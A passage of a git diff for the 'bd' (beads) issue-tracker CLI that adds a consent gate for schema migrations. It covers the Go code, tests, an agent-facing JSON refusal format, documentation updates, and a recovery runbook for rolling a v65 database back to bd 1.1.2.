already at this binary's latest version never consults the gate; + one left at v65 by 1.2.x or at v66 by 1.3.x still has migrations pending + under this release, so it asks once. The remote-backed case keeps all of the + #4259 remote-migrate gate's additional protections (smart gate, adopt + fast-forward, fork-skew analysis) unchanged. JSON consumers: the refusal + renders as a structured error whose `error` states the refusal and whose + `hint` is a non-runnable operator directive (neither names a migration + command or a consent variable), plus a `migrate_consent` object + (`current_version`, `required_version`, `pending`, `severity: "blocking"`, + `human_decision_required: true`, and `options`: `migrate` runs + `bd migrate schema`, or `bd migrate schema --global` under `--global`; + `keep` has no command). +- **Shipped migrations are frozen by CI** (same remediation): the content hash + of every released up-migration (main 0001–0066, ignored 0001–0026, through + the 1.3.x releases) is pinned by `TestShippedMigrationsAreFrozen`. Any + amendment to a released migration must land as a new migration (0070+, or + ignored 0028+, as of this change) so installed schemas and freshly-migrated + ones cannot fork. ### Fixed - **PRs based on `hotfix/**` branches now run full CI, not just diff --git a/README.md b/README.md index 2416ba132..d54c13949 100644 --- a/README.md +++ b/README.md @@ -109,8 +109,8 @@ version: sync remote-backed databases with your current `bd`, back up with `bd export --all`, upgrade the binary, then run `bd info --whats-new`, `bd hooks install`, and `bd version`. If the upgrade crosses a schema migration on a remote-backed database, exactly one designated clone runs -`bd migrate` and `bd dolt push`; other clones install the new binary -and run `bd bootstrap`. See the full +`bd migrate schema` and `bd dolt push`; other clones install the new +binary and run `bd bootstrap`. See the full [upgrade guide](https://beads.gascity.com/getting-started/upgrading) or [docs/getting-started/installation.md](docs/getting-started/installation.md#updating-bd). diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index cb48242fb..b3bfafcc1 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -213,6 +213,7 @@ go_library( "metadata_flag.go", "metrics.go", "migrate.go", + "migrate_consent.go", "migrate_dolt_mode.go", "migrate_hooks.go", "migrate_hooks_apply.go", @@ -935,6 +936,7 @@ go_test( "metadata_ready_test.go", "metadataless_server_workspace_test.go", "metrics_test.go", + "migrate_consent_test.go", "migrate_dolt_mode_frontdoor_integration_test.go", "migrate_dolt_mode_test.go", "migrate_embedded_test.go", diff --git a/cmd/bd/bootstrap.go b/cmd/bd/bootstrap.go index 305989c43..25af0a9d4 100644 --- a/cmd/bd/bootstrap.go +++ b/cmd/bd/bootstrap.go @@ -1246,6 +1246,15 @@ func executeSyncAction(ctx context.Context, plan BootstrapPlan, cfg *configfile. return err } + // Creation-consent for the migration-consent gate + // (schema/migrate_consent.go): this sync action just CLONED the database + // fresh, so the operator's explicit bootstrap is consent for its schema — + // the same principle that exempts a fresh `bd init`. The #4259 + // remote-migrate gate below is unaffected (consent is not its + // designated-migrator override), so the behind-remote refusal keeps its + // exact bd-6dnrw.31 behavior. + schema.SetLocalMigrateConsent(true) + // Open and close the store to ensure dolt_ignore'd wisp tables are // created in the working set. Clone does not include these tables // (they are never committed), so they must be recreated after clone. diff --git a/cmd/bd/init.go b/cmd/bd/init.go index 8e3cf7435..6377f3779 100644 --- a/cmd/bd/init.go +++ b/cmd/bd/init.go @@ -1350,6 +1350,15 @@ Non-interactive mode (--non-interactive or BD_NON_INTERACTIVE=1): syncFromRemote = false } else { bootstrappedFromRemote = true + // Creation-consent for the migration-consent gate + // (schema/migrate_consent.go): this invocation just CLONED the + // database into a workspace that did not exist before, so the + // operator's `bd init --remote` is consent for its schema — + // the same principle that exempts a fresh `bd init`. The + // #4259 remote-migrate gate is unaffected (consent is not its + // designated-migrator override), so the smart-gate / + // designated-migrator flows keep their exact behavior. + schema.SetLocalMigrateConsent(true) if !quiet { fmt.Printf(" %s Bootstrapped from remote: %s\n", ui.RenderPass("✓"), syncURL) } diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 91ba704ea..9fd38b3b9 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -368,7 +368,8 @@ func isForcedMigrate(cmd *cobra.Command) bool { // schema.SharedConsentCommandForced), so retargeting the bare form would hand // the operator a global-scoped command that still cannot succeed. This mirrors // the retarget in handleRemoteMigrateGateJSON. A nil error keeps the -// pre-existing bare-verb wording. +// pre-existing bare-verb wording, which is also the verb the +// migration-consent refusal prescribes, so that refusal passes nil. func printGlobalDatabaseConsentHint(w io.Writer, e *schema.RemoteMigrateGateError) { if !globalFlag { return @@ -415,13 +416,28 @@ func renderTypedOpenError(err error) bool { } return true } + // The migration-consent gate blocks silent in-place migration of + // ANY existing database (1.2 release remediation) and tells the + // operator how to consent. + var consentErr *schema.MigrateConsentError + if errors.As(err, &consentErr) { + if jsonOutput { + handleMigrateConsentJSON(consentErr) + } else { + fmt.Fprint(os.Stderr, consentErr.UserMessage()) + printGlobalDatabaseConsentHint(os.Stderr, nil) + } + return true + } return false } // isSchemaMigrateVerb reports whether cmd is `bd migrate schema` — the one // invocation in which the operator asked for a schema migration by name. That // request is the consent the shared-store gate wants for a database with no -// remote (#5920); see schema.SetSharedMigrateConsent. +// remote (#5920), and the consent the migration-consent gate wants for any +// existing database; see schema.SetSharedMigrateConsent and +// schema.SetLocalMigrateConsent. // // Deliberately just this one command, not the `bd migrate` tree. Bare // `bd migrate` reconciles version/repo-id/clone-id metadata and never applies @@ -436,6 +452,17 @@ func isSchemaMigrateVerb(cmd *cobra.Command) bool { return cmd == migrateSchemaCmd } +// isMigrateConsentCommand reports whether invoking cmd is consent to apply +// pending schema migrations to an existing database (migrate_consent.go). +// That is `bd migrate schema` alone, the verb that names the migration: bare +// `bd migrate` does not consent, for the reasons isSchemaMigrateVerb gives, +// and --force on either migrate command consents separately, through the gate +// override. A preview withholds the consent, as it does the shared-store one: +// a --dry-run/--inspect must not consent to the work it only inspects. +func isMigrateConsentCommand(cmd *cobra.Command) bool { + return isSchemaMigrateVerb(cmd) && !isPreviewCommand(cmd) +} + // forcedMigratePreviewFlag returns the name of a preview flag (--dry-run, // --inspect) that conflicts with --force on a forced migrate invocation, or "" // when there is no conflict. The combination must be rejected BEFORE the store @@ -1751,6 +1778,12 @@ var rootCmd = &cobra.Command{ // discipline as the --force override above. schema.SetSharedMigrateConsent(isSchemaMigrateVerb(cmd) && !previewMode) + // The same verb carries migration consent on its own + // (migrate_consent.go): every other command refuses to apply pending + // schema migrations to an existing database. Same unconditional + // set-or-clear discipline as the gate override above. + schema.SetLocalMigrateConsent(isMigrateConsentCommand(cmd)) + // Auto-migrate database on version bump (bd-jgxi). // Runs for ALL non-preview commands (including read-only ones) because // the migration opens its own store connection, writes the version diff --git a/cmd/bd/migrate.go b/cmd/bd/migrate.go index db9596c7d..7ac75b2f1 100644 --- a/cmd/bd/migrate.go +++ b/cmd/bd/migrate.go @@ -880,9 +880,15 @@ var migrateSchemaCmd = &cobra.Command{ Short: "Apply pending schema migrations (idempotent)", Long: `Apply pending schema migrations idempotently. -Schema migrations also run automatically on store open, so this subcommand -is typically a no-op. It exists to make migration explicit and observable -in CI, release gates, and recovery scenarios. +bd does not apply pending schema migrations to an existing database without +the operator's consent, and running this command is that consent +(BD_ALLOW_MIGRATE=1 is the scripted form). On a remote-backed database the +remote-migrate gate still applies: --force confirms you are the single +designated migrator. Migrating is one-way: bd releases built for an older +schema refuse the migrated database. + +On an up-to-date database this is a no-op, so it is safe to run in CI, +release gates, and recovery scenarios. Example: bd migrate schema diff --git a/cmd/bd/migrate_consent.go b/cmd/bd/migrate_consent.go new file mode 100644 index 000000000..bd0255e6f --- /dev/null +++ b/cmd/bd/migrate_consent.go @@ -0,0 +1,56 @@ +package main + +import ( + "encoding/json" + "os" + + "github.com/steveyegge/beads/internal/storage/schema" +) + +// handleMigrateConsentJSON renders the migration-consent refusal as a +// structured JSON error block for agent consumption. +// +// It follows handleRemoteMigrateGateJSON's convention, for the same reason: +// migrating is one-way, so neither "error" nor the top-level "hint" carries a +// runnable remedy. "error" states the refusal, "hint" is the non-runnable +// operator-decision directive, and the migrate command lives only inside +// migrate_consent.options[migrate], gated on its precondition and annotated +// with its risk. Handing an agent `bd migrate schema` (or the consent +// environment variable) as "the fix" lets it migrate a database that an older +// bd still has to open; the env var stays out of this payload entirely. +func handleMigrateConsentJSON(e *schema.MigrateConsentError) { + outer := buildJSONError(e.Refusal(), e.AgentDirective()) + if m, ok := outer.(map[string]interface{}); ok { + opts := make([]map[string]interface{}, 0, len(e.Options())) + for _, o := range e.Options() { + commands := make([]string, len(o.Commands)) + for i, c := range o.Commands { + // Under --global the refused open aimed at beads_global, so the + // project-scoped verb would migrate the WRONG database and leave + // the refusal in place. Same retarget as the text path + // (printGlobalDatabaseConsentHint) and the shared-store gate. + if globalFlag && c == schema.SharedConsentCommand { + c = schema.SharedConsentCommandGlobal + } + commands[i] = c + } + opts = append(opts, map[string]interface{}{ + "id": o.ID, + "when": o.When, + "commands": commands, + "risk": o.Risk, + }) + } + m["migrate_consent"] = map[string]interface{}{ + "current_version": e.CurrentVersion, + "required_version": e.LatestVersion, + "pending": e.Pending, + "severity": "blocking", + "human_decision_required": true, + "options": opts, + } + } + encoder := json.NewEncoder(os.Stderr) + encoder.SetIndent("", " ") + _ = encoder.Encode(outer) +} diff --git a/cmd/bd/migrate_consent_test.go b/cmd/bd/migrate_consent_test.go new file mode 100644 index 000000000..02a21cf01 --- /dev/null +++ b/cmd/bd/migrate_consent_test.go @@ -0,0 +1,297 @@ +package main + +import ( + "context" + "encoding/json" + "fmt" + "strings" + "testing" + + sqlmock "github.com/DATA-DOG/go-sqlmock" + "github.com/spf13/pflag" + "github.com/steveyegge/beads/internal/storage/schema" +) + +// renderMigrateConsentJSON routes a wrapped consent refusal through +// renderTypedOpenError in --json mode, the way a refused store open reaches +// it, and returns the decoded payload and the raw text. +func renderMigrateConsentJSON(t *testing.T, refusal *schema.MigrateConsentError) (map[string]interface{}, string) { + t.Helper() + pinJSONOutput(t, true) + t.Setenv("BD_JSON_ENVELOPE", "") + + var handled bool + out := captureNoticeStderr(t, func() { + handled = renderTypedOpenError(fmt.Errorf("failed to open database: %w", refusal)) + }) + if !handled { + t.Fatal("renderTypedOpenError did not handle a wrapped MigrateConsentError") + } + var parsed map[string]interface{} + if err := json.Unmarshal([]byte(out), &parsed); err != nil { + t.Fatalf("json.Unmarshal stderr: %v\nstderr was: %s", err, out) + } + return parsed, out +} + +// migrateConsentOptions returns migrate_consent.options keyed by id. +func migrateConsentOptions(t *testing.T, parsed map[string]interface{}) map[string]map[string]interface{} { + t.Helper() + obj, ok := parsed["migrate_consent"].(map[string]interface{}) + if !ok { + t.Fatalf("migrate_consent key missing or wrong type: %T", parsed["migrate_consent"]) + } + rawOpts, ok := obj["options"].([]interface{}) + if !ok { + t.Fatalf("migrate_consent.options missing or wrong type: %T", obj["options"]) + } + byID := map[string]map[string]interface{}{} + for _, raw := range rawOpts { + o, ok := raw.(map[string]interface{}) + if !ok { + t.Fatalf("option has wrong type: %T", raw) + } + id, _ := o["id"].(string) + byID[id] = o + } + return byID +} + +func optionCommands(t *testing.T, o map[string]interface{}) []string { + t.Helper() + raw, ok := o["commands"].([]interface{}) + if !ok { + t.Fatalf("option %v: commands missing or not an array: %T", o["id"], o["commands"]) + } + commands := make([]string, 0, len(raw)) + for _, c := range raw { + s, _ := c.(string) + commands = append(commands, s) + } + return commands +} + +// TestHandleMigrateConsentJSON_Shape pins the agent-facing refusal to the +// remote-migrate gate's convention (#4259). Migrating is one-way, so the +// payload must not hand an agent a runnable migration as "the fix": the error +// names the refusal, the hint is the non-runnable directive, and the migrate +// command appears exactly once, inside the operator-gated migrate option. The +// consent environment variable must not appear at all. +func TestHandleMigrateConsentJSON_Shape(t *testing.T) { + orig := globalFlag + globalFlag = false + t.Cleanup(func() { globalFlag = orig }) + + refusal := &schema.MigrateConsentError{CurrentVersion: 65, LatestVersion: 69, Pending: 4} + parsed, raw := renderMigrateConsentJSON(t, refusal) + + if got := parsed["error"]; got != refusal.Refusal() { + t.Errorf("error = %v, want the remedy-free refusal %q", got, refusal.Refusal()) + } + if got := parsed["hint"]; got != refusal.AgentDirective() { + t.Errorf("hint = %v, want the directive %q", got, refusal.AgentDirective()) + } + for _, field := range []string{"error", "hint"} { + s, _ := parsed[field].(string) + if strings.Contains(s, schema.SharedConsentCommand) { + t.Errorf("%s must not carry the runnable migration %q: %q", field, schema.SharedConsentCommand, s) + } + } + if strings.Contains(raw, "BD_ALLOW") { + t.Errorf("the payload must not name a consent environment variable:\n%s", raw) + } + if n := strings.Count(raw, schema.SharedConsentCommand); n != 1 { + t.Errorf("%q appears %d times, want exactly once (inside options[migrate]):\n%s", + schema.SharedConsentCommand, n, raw) + } + + obj := parsed["migrate_consent"].(map[string]interface{}) + for key, want := range map[string]float64{"current_version": 65, "required_version": 69, "pending": 4} { + if got, ok := obj[key].(float64); !ok || got != want { + t.Errorf("%s = %v, want %v", key, obj[key], want) + } + } + if got := obj["severity"]; got != "blocking" { + t.Errorf("severity = %v, want \"blocking\"", got) + } + if got := obj["human_decision_required"]; got != true { + t.Errorf("human_decision_required = %v, want true", got) + } + + opts := migrateConsentOptions(t, parsed) + if len(opts) != 2 || opts["migrate"] == nil || opts["keep"] == nil { + t.Fatalf("options = %v, want exactly migrate and keep", opts) + } + if got := optionCommands(t, opts["migrate"]); len(got) != 1 || got[0] != schema.SharedConsentCommand { + t.Errorf("options[migrate].commands = %v, want [%q]", got, schema.SharedConsentCommand) + } + if got := optionCommands(t, opts["keep"]); len(got) != 0 { + t.Errorf("options[keep].commands = %v, want none", got) + } + if risk, _ := opts["migrate"]["risk"].(string); !strings.Contains(risk, "one-way") { + t.Errorf("options[migrate].risk must name the one-way risk: %q", risk) + } + for id, o := range opts { + if when, _ := o["when"].(string); when == "" { + t.Errorf("options[%s].when is empty; every option is gated on its precondition", id) + } + } +} + +// TestHandleMigrateConsentJSON_GlobalRetarget pins the --global retarget: the +// refused open aimed at beads_global, so the project-scoped verb would migrate +// the wrong database and leave the refusal in place. The command lives only +// inside the option, so that is where the retarget has to land. +func TestHandleMigrateConsentJSON_GlobalRetarget(t *testing.T) { + orig := globalFlag + globalFlag = true + t.Cleanup(func() { globalFlag = orig }) + + parsed, raw := renderMigrateConsentJSON(t, &schema.MigrateConsentError{CurrentVersion: 65, LatestVersion: 69, Pending: 4}) + + opts := migrateConsentOptions(t, parsed) + if got := optionCommands(t, opts["migrate"]); len(got) != 1 || got[0] != schema.SharedConsentCommandGlobal { + t.Errorf("options[migrate].commands = %v, want [%q]", got, schema.SharedConsentCommandGlobal) + } + if strings.Contains(raw, `"`+schema.SharedConsentCommand+`"`) { + t.Errorf("--global payload still names the project-scoped %q:\n%s", schema.SharedConsentCommand, raw) + } +} + +// TestRenderTypedOpenErrorMigrateConsentText covers the human path: the full +// UserMessage, plus the --global verb when the invocation targeted the global +// database, since the message itself cannot know which database was refused. +func TestRenderTypedOpenErrorMigrateConsentText(t *testing.T) { + pinJSONOutput(t, false) + orig := globalFlag + t.Cleanup(func() { globalFlag = orig }) + + refusal := &schema.MigrateConsentError{CurrentVersion: 65, LatestVersion: 69, Pending: 4} + wrapped := fmt.Errorf("failed to open database: %w", refusal) + + render := func() string { + t.Helper() + var handled bool + out := captureNoticeStderr(t, func() { handled = renderTypedOpenError(wrapped) }) + if !handled { + t.Fatal("renderTypedOpenError did not handle a wrapped MigrateConsentError") + } + return out + } + + globalFlag = false + if out := render(); out != refusal.UserMessage() { + t.Errorf("without --global the refusal is the UserMessage alone, got:\n%s", out) + } + + globalFlag = true + out := render() + if !strings.HasPrefix(out, refusal.UserMessage()) { + t.Errorf("under --global the UserMessage must still lead, got:\n%s", out) + } + if !strings.Contains(out, schema.SharedConsentCommandGlobal) { + t.Errorf("under --global the refusal must name %q, got:\n%s", schema.SharedConsentCommandGlobal, out) + } +} + +// TestLocalMigrateConsentScope pins which command lines consent to migrating +// an existing database. Only the verb that names the migration does, plus +// --force on either migrate command. Bare `bd migrate` reconciles metadata and +// never needed the gate open, so letting it consent made +// `bd migrate --update-repo-id` (repo-fingerprint surgery) a one-way schema +// migration as a side effect. +// +// Each line is resolved through the same cobra lookup and fed to the same +// predicates as the root pre-run (isForcedMigrate, isMigrateConsentCommand), +// then the real gate runs against an existing database one migration behind. +func TestLocalMigrateConsentScope(t *testing.T) { + for _, tt := range []struct { + cmdline string + consents bool + }{ + {cmdline: "bd migrate schema", consents: true}, + {cmdline: "bd migrate schema --force", consents: true}, + {cmdline: "bd migrate --force", consents: true}, + {cmdline: "bd migrate", consents: false}, + {cmdline: "bd migrate --update-repo-id", consents: false}, + {cmdline: "bd migrate --inspect", consents: false}, + {cmdline: "bd migrate --dry-run", consents: false}, + {cmdline: "bd list", consents: false}, + } { + t.Run(tt.cmdline, func(t *testing.T) { + err := runLocalConsentGate(t, tt.cmdline, tt.consents) + if tt.consents { + // Programmatic consent short-circuits the gate before its version + // reads, and those reads would fail here with "migrate consent:" + // (the mock expects nothing). Whatever MigrateUp hit past the gate + // is not this test's concern. + if schema.IsMigrateConsentError(err) || (err != nil && strings.Contains(err.Error(), "migrate consent:")) { + t.Fatalf("%q must consent, but the gate ran: %v", tt.cmdline, err) + } + return + } + if !schema.IsMigrateConsentError(err) { + t.Fatalf("%q must not consent; want the consent refusal, got %T: %v", tt.cmdline, err, err) + } + }) + } +} + +// runLocalConsentGate replays the root pre-run's two consent lines for +// cmdline and runs MigrateUp. A consenting line must not reach the gate's +// reads, so its mock expects nothing; a refusing one gets the gate's reads +// for an existing database one migration behind. +func runLocalConsentGate(t *testing.T, cmdline string, consents bool) error { + t.Helper() + t.Setenv(schema.AllowMigrateEnv, "") + t.Setenv(schema.AllowRemoteMigrateEnv, "") + + args := strings.Fields(strings.TrimPrefix(cmdline, "bd ")) + target, rest, err := rootCmd.Find(args) + if err != nil { + t.Fatalf("%q does not resolve to a command: %v", cmdline, err) + } + if err := target.ParseFlags(rest); err != nil { + t.Fatalf("%q: flags do not parse: %v", cmdline, err) + } + t.Cleanup(func() { + // Package-level cobra singletons: a parsed flag would outlive this + // test and silently consent for the next one. + target.Flags().VisitAll(func(f *pflag.Flag) { + if !f.Changed { + return + } + _ = f.Value.Set(f.DefValue) + f.Changed = false + }) + schema.SetForceAllowRemoteMigrate(false) + schema.SetLocalMigrateConsent(false) + }) + + // The two lines the root pre-run runs, verbatim in effect. + schema.SetForceAllowRemoteMigrate(isForcedMigrate(target)) + schema.SetLocalMigrateConsent(isMigrateConsentCommand(target)) + + db, mock, err := sqlmock.New() + if err != nil { + t.Fatal(err) + } + defer db.Close() + if !consents { + for range 2 { + mock.ExpectQuery(`SELECT COUNT\(\*\) FROM information_schema\.tables`). + WithArgs("schema_migrations"). + WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) + mock.ExpectQuery(`SELECT COALESCE\(MAX\(version\), 0\) FROM schema_migrations`). + WillReturnRows(sqlmock.NewRows([]string{"version"}).AddRow(schema.LatestVersion() - 1)) + } + } + + _, gateErr := schema.MigrateUp(context.Background(), db) + if !consents { + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet expectations for %q: %v", cmdline, err) + } + } + return gateErr +} diff --git a/cmd/bd/store_factory.go b/cmd/bd/store_factory.go index 4b7a0c588..1d7564a54 100644 --- a/cmd/bd/store_factory.go +++ b/cmd/bd/store_factory.go @@ -102,7 +102,8 @@ func newDoltStore(ctx context.Context, cfg *dolt.Config) (s storage.DoltStorage, // Working-set-reconcile commands (bd dolt commit, bd vc commit) must // not be bricked by a pending-migration dirty-table refusal: that // refusal's documented recovery is exactly the commit these commands - // run, so failing the open here would deadlock (#4566). The server + // run, so failing the open here would deadlock (#4566). The same goes + // for the migration-consent refusal that precedes it. The server // arm above honors the same cfg.LenientOpen inside dolt.New; this // branch is the embedded half of one policy, not the whole of it. return embeddeddolt.OpenForWorkingSetReconcile(ctx, cfg.BeadsDir, cfg.Database, "main") diff --git a/docs/docs.json b/docs/docs.json index fbd0bc97b..c0d78f016 100644 --- a/docs/docs.json +++ b/docs/docs.json @@ -276,6 +276,7 @@ "recovery/circular-dependencies", "recovery/sync-failures", "recovery/history-squash", + "recovery/unmigrate-schema-v65", "recovery/uninstalling" ] }, diff --git a/docs/getting-started/installation.md b/docs/getting-started/installation.md index a020167a1..89a25474b 100644 --- a/docs/getting-started/installation.md +++ b/docs/getting-started/installation.md @@ -448,7 +448,7 @@ Upgrade checklist: `bd version` 5. If crossing a schema migration on a remote-backed database, only the designated migrator runs: - `bd migrate` + `bd migrate schema` `bd dolt push` Other clones should install the new binary and run `bd bootstrap`, not diff --git a/docs/getting-started/quickstart.md b/docs/getting-started/quickstart.md index 814e01902..2da0e3199 100644 --- a/docs/getting-started/quickstart.md +++ b/docs/getting-started/quickstart.md @@ -312,7 +312,7 @@ In server mode, data is managed by the external `dolt sql-server`. ## Migrating databases -After upgrading bd, use `bd migrate` to check for and migrate old database files: +After upgrading bd, check for pending database migrations and apply them: ```bash # Inspect migration plan (AI agents) @@ -324,8 +324,8 @@ bd info --schema --json # Preview migration changes bd migrate --dry-run -# Migrate old databases to beads.db -bd migrate +# Apply pending schema migrations +bd migrate schema # Migrate and clean up old files bd migrate --yes diff --git a/docs/getting-started/upgrading.md b/docs/getting-started/upgrading.md index da9c5330e..717dfbd91 100644 --- a/docs/getting-started/upgrading.md +++ b/docs/getting-started/upgrading.md @@ -34,7 +34,7 @@ bd info --whats-new `bd version` 5. If crossing a schema migration on a remote-backed database, only the designated migrator runs: - `bd migrate` + `bd migrate schema` `bd dolt push` Other clones must not migrate independently. After the migrator pushes, each @@ -139,7 +139,7 @@ bd migrate --inspect --json bd migrate --dry-run # Apply migrations -bd migrate +bd migrate schema # Migrate and clean up old files bd migrate --yes @@ -307,7 +307,7 @@ also copy the `.beads` directory (or `dolt backup` in server mode) while no bd dolt push # 1. CURRENT binary: publish all local work bd export --all -o .beads/backup/pre-migrate.jsonl # 2. backup (see above) # 3. install the new binary (see Upgrading above) -bd migrate # 4. migrate as the designated migrator +bd migrate schema # 4. migrate as the designated migrator bd dolt push # 5. publish the migrated schema bd version # 6. confirm the new version is active ``` @@ -317,10 +317,10 @@ migrating here as the designated migrator, adopting the remote's already-migrate database, or recovering a fork — and asks for an explicit operator decision. Follow the guidance it prints. -For scripted or CI upgrades where nobody reads the output, run `bd migrate` as -an explicit step in exactly one job, never in all of them. If the gate blocks a -run it prints both the available options and the scripted override that fits -the situation. +For scripted or CI upgrades where nobody reads the output, run +`bd migrate schema` as an explicit step in exactly one job, never in all of +them. If the gate blocks a run it prints both the available options and the +scripted override that fits the situation. **Multiple clones sharing one remote:** @@ -332,7 +332,7 @@ bd dolt pull bd export --all -o .beads/backup/pre-migrate.jsonl # 2. Designated migrator ONLY: install the new binary, then migrate and publish. -bd migrate +bd migrate schema bd dolt push # 3. Every OTHER clone, after the migrator has pushed: pull the migrated @@ -538,9 +538,11 @@ bridge below accepts SQLite sources only. ### `.beads/embeddeddolt/`: direct upgrade -Upgrade the binary and run: +Upgrade the binary, apply the pending schema migrations, and update the +database metadata: ```bash +bd migrate schema bd migrate ``` @@ -589,8 +591,8 @@ metadata is missing or leaves `dolt_mode` blank/`embedded`; it does not override an explicit server selection with a local root. Compatibility admission cannot prove that a workspace is modern. If you know it was created by v0.55.4 through v0.62.0, use this explicit bridge even when its witness was lost or damaged. -Otherwise, follow the normal `bd migrate --dry-run` and `bd migrate` flow for -an admitted server workspace. +Otherwise, follow the normal `bd migrate --dry-run` and `bd migrate schema` +flow for an admitted server workspace. ### One `.beads/*.db` file: sealed SQLite bridge @@ -653,7 +655,7 @@ bd hooks install ```bash bd migrate --dry-run -bd migrate +bd migrate schema ``` ### Recovery after upgrade diff --git a/docs/recovery/accidental-1-2-1-release.md b/docs/recovery/accidental-1-2-1-release.md index c5e0f8d47..2e9a7061b 100644 --- a/docs/recovery/accidental-1-2-1-release.md +++ b/docs/recovery/accidental-1-2-1-release.md @@ -118,3 +118,7 @@ database directory, install v1.2.2, then `bd import backup.jsonl`. Caveats: issues deleted after the upgrade come back (import cannot re-delete), and audit events recorded while on v1.2.1 are lost. Most users should prefer the cursor rollback above. + +To rebuild a 1.1.2-compatible workspace from a full export instead, keeping +the migrated original aside, see +[Un-migrate from Schema v65](/recovery/unmigrate-schema-v65). diff --git a/docs/recovery/index.md b/docs/recovery/index.md index 647d6ff0d..b23632602 100644 --- a/docs/recovery/index.md +++ b/docs/recovery/index.md @@ -10,6 +10,7 @@ This section provides step-by-step recovery procedures for common Beads issues. | Issue | Symptoms | Runbook | |-------|----------|---------| | Schema Version Mismatch | `bd` refuses with `schema version mismatch: database is at vNN, binary knows up to vNN` | [Accidental v1.2.1 Release](/recovery/accidental-1-2-1-release) | +| Going Back from v65 | A database bd 1.2.x migrated to v65 has to work with bd 1.1.2 again, rebuilt from a full export | [Un-migrate from Schema v65](/recovery/unmigrate-schema-v65) | | Init Safety Refusals | `bd init` or `bd dolt` refuses with a pattern code like `pk-fork-refused` | [Recovery Playbooks](/recovery/init-safety) | | Database Corruption | Database errors, missing data | [Database Corruption](/recovery/database-corruption) | | Merge Conflicts | Dolt conflicts during sync | [Merge Conflicts](/recovery/merge-conflicts) | diff --git a/docs/recovery/unmigrate-schema-v65.md b/docs/recovery/unmigrate-schema-v65.md new file mode 100644 index 000000000..14cb62d25 --- /dev/null +++ b/docs/recovery/unmigrate-schema-v65.md @@ -0,0 +1,91 @@ +--- +title: Un-migrate from Schema v65 +description: Move a database that bd 1.2.x auto-migrated back to a 1.1.2-compatible workspace, keeping all data +--- + +The 1.2.0/1.2.1 releases migrated existing databases to schema v65 +automatically, on any command — including reads. If your database was +migrated and you want to go back to bd 1.1.2 (whose binaries refuse a v65 +database with `schema version mismatch: database is at v65, binary knows up +to v53`), this runbook rebuilds a 1.1.2-compatible workspace from a full +export. It is written to be executable by an agent as-is. + +There is no in-place down-migration. The procedure is export → set aside → +fresh init → import. If you only need the 1.1 line to open the database +again, the cursor rollback in +[Accidental v1.2.1 Release](/recovery/accidental-1-2-1-release) is shorter +and keeps the Dolt history in place. + +**What survives** (verified): issues with statuses and close reasons, +dependencies, comments, notes, labels, memories, and wisps (with +`--all`). +**What does not**: Dolt commit history and the events/telemetry audit +tables. Both remain readable in the set-aside `.beads.v65.bak` directory — +nothing is deleted. + + +Run every step with the binaries it names: the EXPORT runs under the 1.2.x +binary that matches the database; the INIT and IMPORT run under the 1.1.2 +binary you are returning to. Mixing them up fails closed (schema-skew guard), +but re-running the whole sequence from the top is the only supported retry. + + +## Preconditions + +1. **Stop anything that writes to this workspace** — supervisors, watchers, + hooks on a timer. +2. **Server mode: stop the dolt sql-server** serving this database + (`bd dolt stop`, or stop the process that owns it). For a SHARED server + database, coordinate with the other clients first — after this procedure + they must re-clone or run it too; do not un-migrate a shared database + unilaterally. +3. Install (or locate) a **bd 1.1.2 binary** alongside the current one. GitHub + releases: tag `v1.1.2`. Keep both paths handy; the steps name which one to + use. +4. Run from the directory that CONTAINS `.beads/`. + +## Procedure + +```bash +# 1. Full export, with the 1.2.x binary the database currently matches. +bd export --all -o snapshot.jsonl +# Sanity: the file is non-empty and its line count is plausible for +# your workspace. +wc -l snapshot.jsonl + +# 2. Set the migrated workspace aside. Salvage-first: rename, never delete. +mv .beads .beads.v65.bak + +# 3. Fresh init under the 1.1.2 binary (creates a v53-schema workspace). +# Use the same issue prefix as before. +bd-1.1.2 init --prefix + +# 4. Import the snapshot under the 1.1.2 binary. +bd-1.1.2 import snapshot.jsonl +``` + +## Verify + +```bash +# Counts match your expectations (compare against the export): +bd-1.1.2 list -n 0 --status all | tail -3 +# A known issue round-trips with its comments/labels/deps: +bd-1.1.2 show +# Memories survived: +bd-1.1.2 memories | head +``` + +If anything is missing, the migrated original is intact in `.beads.v65.bak`: +restore it with `mv .beads .beads.failed && mv .beads.v65.bak .beads` and use +a 1.2.x binary with it while you retry. + +## Afterwards + +- Keep `.beads.v65.bak` until you are confident; it holds the Dolt history + and audit tables the import does not carry. +- Pin your install to 1.1.2 until a release whose default does not migrate + your database is available; see the release notes of the version that sent + you here. +- If this workspace had a Dolt remote, the remote still holds the MIGRATED + history. Do not push the rebuilt workspace over it without deciding which + side is canonical; a fresh remote is the simple safe choice. diff --git a/internal/storage/dolt/lenient_open_dirty_tables_integration_test.go b/internal/storage/dolt/lenient_open_dirty_tables_integration_test.go index e8eaa0727..d7beeec97 100644 --- a/internal/storage/dolt/lenient_open_dirty_tables_integration_test.go +++ b/internal/storage/dolt/lenient_open_dirty_tables_integration_test.go @@ -122,6 +122,71 @@ func TestServerModeLenientOpenDirtyTableGate(t *testing.T) { } }) + // The migration-consent refusal fires before the dirty guard, so on a + // database that is both behind and dirty the unconsented commit the + // guard prescribes would rebuild this deadlock one check earlier. + t.Run("behind and dirty database without consent recovers through a lenient open", func(t *testing.T) { + const database = "lenient_consent" + admin := prepareLenientOpenDatabaseAtV51(t, ctx, state.Port, database) + defer admin.Close() + + if _, err := admin.ExecContext(ctx, + "INSERT INTO issues (id, title, description, design, acceptance_criteria, notes) VALUES (?, ?, '', '', '', '')", + database+"-1", "uncommitted issue", + ); err != nil { + t.Fatalf("dirty issues table: %v", err) + } + + schema.SetLocalMigrateConsent(false) + t.Cleanup(func() { schema.SetLocalMigrateConsent(true) }) + t.Setenv(schema.AllowMigrateEnv, "") + t.Setenv(schema.AllowRemoteMigrateEnv, "") + + refuses := func(name string, cfg *Config) { + t.Helper() + s, err := New(ctx, cfg) + if err == nil { + s.Close() + t.Fatalf("New (%s) = nil, want *schema.MigrateConsentError", name) + } + if !schema.IsMigrateConsentError(err) { + t.Fatalf("New (%s) error = %T (%v), want *schema.MigrateConsentError", name, err, err) + } + } + refuses("plain writable open", lenientOpenConfig(beadsDir, state.Port, database)) + syncCfg := lenientOpenConfig(beadsDir, 